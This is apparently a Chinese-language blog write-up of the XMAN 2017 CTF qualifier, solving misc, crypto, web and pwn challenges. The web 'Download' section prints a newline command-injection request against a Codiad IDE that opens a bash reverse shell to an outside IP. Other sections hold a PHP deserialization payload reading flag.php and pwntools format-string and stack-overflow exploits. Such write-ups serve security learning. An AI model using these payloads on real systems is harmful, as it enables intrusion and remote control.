[XMAN-2017-资格赛]


(MISC) Prety Cat

strings filename.jpg
在 jpg 的空域中发现两个类似Base64的字符串
解码然后连起来

(MISC) Green_Code

下载流量包 , WireShark打开
很明显就可以看到许多DNS的流量包 , 向 8.8.8.8 查询某域名的A记录

[XMAN-2017-资格赛]_第1张图片
image.png

看起来像是 Base64
其实熟悉 Tcp Over DNS 的小伙伴儿一眼就能想到这是通过 DNS 传输数据

这里其实挺奇怪的 , 正常情况下
利用 DNS 传输数据 , 应该是接受者可以控制一个域名的权威服务器
然后将要传输的数据以域名中可以使用的字符进行编码
作为子域名构成一个新的域名
然后按照固定的顺序对这个新的域名进行请求
然后在这个域名的权威服务器上就可以接收到编码后的数据
根据编码规则再解码即可
但是这道题挺奇怪的 , 并不是查询百度的子域名
感觉流量包的场景不太对
猜想可能是攻击者在内网中已经劫持了内网的域名服务器(这里我不太确定 , 暂时不是很清楚)
我的理解应该是 : 
data[min, max].encode("base64")+".baidu.com"

然后我们要根据时间顺序来将所有的这种DNS查询都导出 , 然后再Base64解码
这里前几天学到的 tcpdump 刚好可以派上用场

tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng
# 然后使用 baidu 对其进行过滤
tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng | grep baidu
# 然后使用 awk 提取出其中的 Base64
tcpdump -s 0 -n port 53 -r 0be46d01-29d6-4052-9211-da85cfc922c6.pcapng | grep baidu | awk -F '.' '{print $12}'

将其重定向到一个文本文件 , 然后使用 python 逐行读取

[XMAN-2017-资格赛]_第2张图片
image.png

将其打印出来以后发现存在

'a98', 'FIG'
[XMAN-2017-资格赛]_第3张图片
image.png

应该是一个 GIF 图片, 因为 GIF 图片的文件头是 GIF89a

或者直接使用 cat log | base64 -d
也可以发现文件头

[XMAN-2017-资格赛]_第4张图片
image.png
with open("data.gif", "wb") as image, open("log") as f:
    for line in f:
        image.write(line.decode("base64")[::-1])
data.gif

有黑白的块在闪烁 , 猜想可能是一种信号的编码
使用工具将其所有帧导出 , 该图片帧数为 625 , 恰好和 25x25 的二维码一致
而且题目名称也为 QRCODE
这样思路就比较明确了 , 将这里的所有帧拼起来 , 组成一个二维码即可

[XMAN-2017-资格赛]_第5张图片
image.png
image.png

每一张图片都是 8x8 , 因此我们只需要创建一个 8x25 即 200 * 200 的图片来保存这个完整的二维码即可

#!/usr/bin/env python

from PIL import Image

Im = Image.new("L", (200, 200))

for x in range(25):
    for y in range(25):
        filename = "IMG%05d.bmp" % (x * 25 + y)
        im = Image.open(filename)
        Im.paste(im, (x * 8, y * 8, x * 8 + 8, y * 8 + 8))

Im.save("result.bmp")
[XMAN-2017-资格赛]_第6张图片
result.png

暂时只做到这一步 , 比赛结束后问过了出题人 , 出题人说需要了解二维码的编码原理 , 手逆二维码

找到一个二维码ISO标准

ISO/IEC 18004
QR Code Tutorial
正在继续做这个题目 , 笔记在此处


(Misc) PDF_HACK

C:\Users\WangYihang\Desktop\pdfcrack-0.11>pdfcrack.exe -f data.pdf -w password.l
ist
PDF version 1.7
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 2923be84e16cd6ae529049f1f1bbe9eb
U: b9816d83ce3d5f690a988085997fc0a528bf4e5e4e758a4164004e56fffa0108
O: 677e06f73b20cb0e76b396c4e1dc12db7f827ba900fd813477d1c45c11d07ddd
found user-password: '20170716'
```
---
#### (Web) WElCOME2IRC
![image.png](http://upload-images.jianshu.io/upload_images/2355077-29adb4ec463dcc5b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

---
#### (Web) Variacover
![image.png](http://upload-images.jianshu.io/upload_images/2355077-e4a01e7491805726.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

---
#### (Web) UrlDecode
```
将XMAN两次URL编码传入
```
---

#### (Web) php Seri
```
http://challenges.xctf.org.cn:7774/?code=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}
```
---
#### (Web) php
```
http://localhost/php/?aaa=0x1&bbb={%22ccc%22:%22999999a%22,%22ddd%22:[[%22XMAN%22,%221%22],%22XMAN%22]}
但是没有搞出来
```

---
#### (Web) Download
```
1. 扫描得到 README.md (得知是使用了 Codiad 一个WEB IDE)
# README.md
# Codiad Web IDE

Codiad is a web-based IDE framework with a small footprint and minimal requirements. The system is still early in development, and while it has been proven extremely stable please be sure have a backup system if you use it in any production work.

Keep up to date with the latest changes and news on **[Twitter](http://twitter.com/codiadide)** or **[Facebook](http://www.facebook.com/Codiad)**

For more information on the project please check out the **[check out the Wiki](https://github.com/Codiad/Codiad/wiki)** or **[the Codiad Website](http://www.codiad.com)**

Distributed under the MIT-Style License. See `LICENSE.txt` file for more information.
```
通过测试发现存在搜索功能 , 可以直接搜索 php 文件 , 搜索路径部分可控 , 但是无法穿越到上层
但是通过 BurpSuite 抓包发现事实上搜索的匹配结果也是显示出来的 , 只不过没有在 Web 上面显示
而且对搜索的字符串没有进行过滤 , 这样思路就比较清晰了
其实就类似于代码审计的过程
可以利用这个搜索接口来搜索危险的php函数
发现搜索 shell_exec 可以得到如下结果
![image.png](http://upload-images.jianshu.io/upload_images/2355077-414e16fb184e3970.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
```
命令如下: 
$output = shell_exec('find -L ' . $this->path . ' -iregex  \".*' . $this->search_file_type  . '\" -type f | xargs grep -i -I -n -R -H \"' . $input . '\"');

再进一步对这个 shell 命令中的参数进行溯源 , 发现 input 参数比较容易利用而且似乎并没有过滤
这样就直接造成了命令执行
但是好像并没有回显
本地搭建类似环境进行测试
shell_exec 这个函数中是可以使用换行符的
也就是说 , 只要其中的某一个参数可控 , 就可以执行任意命令
view-source:http://localhost/exec/?p=.&t=1111111%22%0aping%20-c1%20120.24.215.80%0agrep%20%22111111&i=11111
最终利用该漏洞反弹shell即可
```

![image.png](http://upload-images.jianshu.io/upload_images/2355077-5e7c668229c607e6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
```
POST /components/filemanager/controller.php?action=search&path=admin&type=0 HTTP/1.1
Host: challenges.xctf.org.cn:7775
Content-Length: 137
Accept: */*
Origin: http://challenges.xctf.org.cn:7775
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://challenges.xctf.org.cn:7775/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 40d1b2d83998fabacb726e5bc3d22129=dfbb133e60a03591b2b19fc1c3203ea6; token=egjrjA4NB4wDHMX5CSDDxAzIEGqt8dq8
Connection: close

search_string=1&search_file_type=1111111"%0a%2Fbin%2Fbash+-c+%27sh+-i+>%26+%2Fdev%2Ftcp%2F120.24.215.80%2F8888+0>%261%27%0agrep%20"111111
```
---
#### (Web) Upload
```
# 听大佬说是上传 .htaccess 最终 getshell , 先挖坑 , 复现了以后再写
不能上传 phtml php5
上传 php3 php4 phps pht 不会解析
```
#### (Web) XSS
```
# 利用 link 的 prefetch 属性绕过 csp

查看返回 referer
然后手动访问 , 在 cookie 中发现 flag
```
---
#### (Pwn) Taaa
```
# 很基础的格式化字符串修改变量
# 目标内存地址在栈上 , 可以直接通过 %N$hhn 的形式对其覆盖
# 然后在这个格式化字符串之前填补长度为 85 的 junk 即可
#!/usr/bin/env python

from pwn import *

# Io = process("./fmt")
Io = remote("challenges.xctf.org.cn", 14001)

payload = "A" * 0x55
payload += "%9$hhn"

Io.sendline(payload)

Io.interactive()
```

---
#### (Pwn) Caaa
```
# 栈溢出覆盖返回地址 , 存在 hack 函数 , 直接跳转到 system("/bin/sh") 即可
#!/usr/bin/env python

from pwn import *

# Io = process("./Caaa")
Io = remote("challenges.xctf.org.cn", 14000)

junk = "A" * 40
hackInfo = p64(0x40078F)

payload = junk + hackInfo

Io.sendline("1")

Io.sendline(payload)

Io.interactive()
```
---
#### (Crypto) Maxonic
```
猪圈密码 题目提示 XMAN{----flag----}
猪圈密码解出来 : THE ANSWER IS FLASE
尝试了各种flag格式
纯小写 , 加空格 , 没有 ----
```

你可能感兴趣的:([XMAN-2017-资格赛])